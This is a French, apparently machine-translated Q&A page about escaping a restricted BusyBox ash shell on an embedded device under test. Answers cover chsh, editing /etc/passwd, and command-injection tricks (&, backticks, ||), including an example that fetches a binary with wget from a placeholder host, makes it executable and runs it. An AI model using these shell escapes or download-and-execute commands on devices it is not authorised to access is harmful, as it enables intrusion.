Shell BusyBox limité

Je teste un périphérique embarqué, et il y a un manque de documentation. Quand je me connecte au périphérique, je nobtiens quun shell limité.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Ceci est un shell limité, ce nest pas clair, comment entrer dans le shell complet?

Réponse

  • La commande dont vous avez besoin est chsh (change shell) – cela fait partie du shadow ou shadow-utils package.
  • Vous pouvez également modifier manuellement /etc/password pour changer le shell de /bin/ash à autre chose:

    BUT => faites très attention que le nouveau shell existe ou vous allez verrouiller vous-même !!!


Vous devrez être root pour faire lune des choses ci-dessus.

Réponse

BusyBox est principalement axé sur loptimisation de la taille et les commandes pourraient être exc luded / inclus pendant la compilation. Donc, sans fournir dinformations supplémentaires, il semble que ce soit un ensemble très limité de composants installés .

Cependant, il devrait être clair que cela ne signifie pas que le micrologiciel de lappareil ne prend pas en charge des utilitaires spécifiques en soi. Si ce nest pas clair, vous devriez jeter un œil à la section FAQ – Quest-ce que Busybox . Certaines citations devraient clarifier ceci:

« Puis-je activer FTP? » – « Nous ne savons pas si le firmware du Foomatic-9000 est fourni avec le binaire Busybox avec lapplet ftpd activé. (Si vous avez accès à linvite du shell, essayez dexécuter « busybox ftpd –help »). Si cest le cas, vous pourrez probablement lactiver. Malheureusement, nous ne savons pas comment le micrologiciel Foomatic-9000 gère le démarrage et l’arrêt de divers services (au cas où ils auraient déjà un service ftpd et qu’il serait juste désactivé), ni comment créer et activer un nouveau service sur Foomatic-9000 (s’ils dont). Essayez de chercher sur Google. « 

 » Puis-je activer SCP?  » – « Busybox-1.23.4 na pas dapplet scp. Cependant, scp peut être installé sur le Foomatic-9000 (par exemple, si dropbear est installé), et il peut être possible de lactiver. Sinon, il peut être possible de construire et installez votre propre outil scp. Essayez de chercher sur Google. « 

Vous devriez probablement vous concentrer davantage sur le périphérique spécifique et le micrologiciel installé, plutôt que sur le ensemble de composants liés à Busybox lui-même.

Commentaires

  • ok, jai oublié la commande cli.

Réponse

Malheureusement pour vous, de nos jours, la plupart des appareils embarqués (cest-à-dire les routeurs, les appareils iot, etc.) essaient dempêcher les utilisateurs daccéder au système interne afin quils puissent « t le pirater ou le modifier. Cest une mesure pour empêcher le travail des botnets comme mirai, bien que les protections ne soient pas toujours très efficaces.

Un shell busybox limité est un scénario très courant. Heureusement, parler en général, busybox nécessite un shell sous-jacent sil y en a  » s tout type dinterface utilisateur (comme telnet ou ssh). Cela signifie quil peut être possible de contourner ce shell et dexécuter des commandes sur le shell sous-jacent (cest-à-dire que / bin / sh est très courant).

Avant dessayer déchapper au bac à sable busybox, vous devez avoir en compte le suivant:

  • Le fabricant peut avoir modifié le shell busybox pour corriger ces techniques
  • Le shell sous-jacent peut être un shell (complet ou partiel) sans privilège. Cela signifie que même si vous parvenez à exécuter des commandes dessus, elles risquent de ne pas fonctionner ou de vous dire que vous navez pas assez de droits.
  • Le shell sous-jacent peut également être un autre shell limité (pas courant)

Une fois que vous êtes prêt, vous pouvez essayer les « trucs » suivants: (Tout dépend des opérateurs shell)

Essayez des choses comme

echo "Hello World" & <your command> 

Ceci exécutera votre commande si:

  1. Le binaire est disponible (donc fondamentalement sil est installé dans le système)
  2. Le shell y a accès (privilèges)

Il existe dautres méthodes comme:

echo "Hello World" `your command` echo "Hello World" || <your command> 

Et dautres variantes vous pouvez trouver sur Internet ou essayer par vous-même.

EDIT: Je suis en train de modifier pour ajouter un exemple de la façon dont vous pourriez échapper au shell et obtenir plus d’exécution.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

ou directement ./yourbinary

Cest lidée. En ce qui concerne le chmod, désolé mais je ne me souviens pas des arguments exacts pour donner les autorisations dexécution.

EDIT2: Jai remarqué que votre shell dit ash, donc probablement busybox a été exécuté à partir dun script (automatisé) en cours dexécution de la cendre. Dans ce cas, vous souhaitez exécuter directement des commandes sur le shell / bin / ash.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *